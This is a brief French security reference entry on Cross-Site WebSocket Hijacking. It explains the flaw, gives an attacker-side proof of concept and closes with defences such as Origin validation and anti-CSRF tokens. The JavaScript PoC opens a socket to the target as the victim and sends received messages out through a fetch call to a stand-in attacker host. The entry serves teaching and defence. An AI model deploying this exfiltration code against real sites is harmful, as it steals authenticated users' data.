WebSocket Hijacking — Détournement de WebSocket (CSWSH)
★★★★★
Principe
Le Cross-Site WebSocket Hijacking exploite l'absence de protection CSRF sur le handshake WebSocket : si l'authentification repose uniquement sur des cookies, un site malveillant peut ouvrir une connexion WS vers la cible au nom de la victime et lire/envoyer des messages.
PoC côté attaquant
// Page hébergée sur evil.com, visitée par la victime authentifiée
var ws = new WebSocket('wss://target.com/socket');
ws.onopen = () => ws.send('{"action":"getSecrets"}');
ws.onmessage = e => fetch('https://attacker.com/log?d='
+ encodeURIComponent(e.data)); // exfiltration Défenses
Valider l'en-tête Origin sur le handshake, exiger un token anti-CSRF (et pas seulement le cookie de session) pour établir la connexion, et utiliser des tokens d'authentification non automatiquement envoyés par le navigateur.